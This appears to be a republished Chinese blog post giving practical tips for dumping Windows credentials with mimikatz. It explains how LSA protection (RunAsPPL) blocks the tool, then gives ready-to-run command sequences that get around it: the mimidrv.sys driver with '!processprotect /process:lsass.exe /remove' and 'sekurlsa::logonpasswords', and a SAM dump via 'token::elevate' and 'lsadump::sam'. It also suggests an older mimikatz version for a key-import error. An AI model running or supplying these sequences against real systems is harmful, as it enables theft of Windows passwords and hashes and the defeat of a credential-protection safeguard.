原文链接:mimikatz的一些实战小技巧
前言 最近在一些环境中使用mimikatz读取密码出现了些问题,简单记录下。 问题分类 1、权限 这种情况就属于权限不到位,虽然是管理员权限但是需要右键管理员权限启动cmd 权限到位就没问题。 2、 LSA 保护 (RunAsPPL) 在 Windows 上防止凭据盗窃时,启用 LSA 保护应该是最简单的方式,配置起来简单又方便只需要在注册表中添加个一个值然后重新启动下即可。 启用 LSA 保护 (RunAsPPL): (1) 打开注册表编辑器:regedit.exe。 (2) 打开"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa"。 (3) 添加DWORD值RunAsPPL并将其设置为1并且重启。 现在你已经成功开启了LAS保护,mimikatz已经不能读取凭证信息。 mimikatzprivilege::debug中的命令成功启用;SeDebugPrivilege,但是命令sekurlsa::logonpasswords失败并出现错误代码0x00000005。要想知道错误代码0x00000005的原因我们可以去查看源码。 HANDLE hData = NULL; DWORD pid; DWORD processRights = PROCESS_VM_READ | PROCESS_QUERY_INFORMATION; kull_m_process_getProcessIdForName(L"lsass.exe", &pid); hData = OpenProcess(processRights, FALSE, pid); if (hData && hData != INVALID_HANDLE_VALUE) { // if OpenProcess OK } else { PRINT_ERROR_AUTO(L"Handle on memory"); } 这段代码中它首先获取被调用进程的 PID,lsass.exe然后尝试使用标志和调用Win32函数来打开它(即获取进程句柄),现在他的访问被拒绝了所以我们的LSA保护成功打开了,成功阻止mimikatz读取凭证。 绕过 RunAsPPL: 1、mimikatz驱动程序 它可以阻止mimikatz,然而mimikatz也可以通过自身工具进行绕过,使用数字签名的驱动程序来删除内核中 Process 对象的保护标志,但是需要文件mimidrv.sys必须位于当前文件夹中。 (1)、文件mimidrv.sys必须位于当前文件夹中。 (2)、 !+ !processprotect /process:lsass.exe /remove privilege::debug sekurlsa::logonpasswords 成功读取凭证。2、SAM HKLM\SAM:包含用户密码的NTLMv2哈希值 HKLM\security:包含缓存的域记录LSA secrets/LSA密钥 HKLM\system-aka SYSKEY:包含可用于加密LSA secret和SAM数据库的密钥 SAM(安全账户管理器),SAM用来存储Windows操作系统密码的数据库文件,为了避免明文密码泄露,SAM文件中保存的是明文密码经过一系列算法处理过的Hash值。mimikatz 运行 lsadump :: sam 从磁盘上的SAM读取凭据,可成功pypass LSA Protection。 privilege::debug token::whoami token::elevate lsadump::sam 成果读取。 2、 特殊情况 没有LSA保护也不是权限问题。 报错key import 解决起来也很简单直接用老版本mimikatz(2.1.1)就可以了,至于原因暂时不清楚。 简单记录下几个简单的问题,主要是怕忘。 E N D
|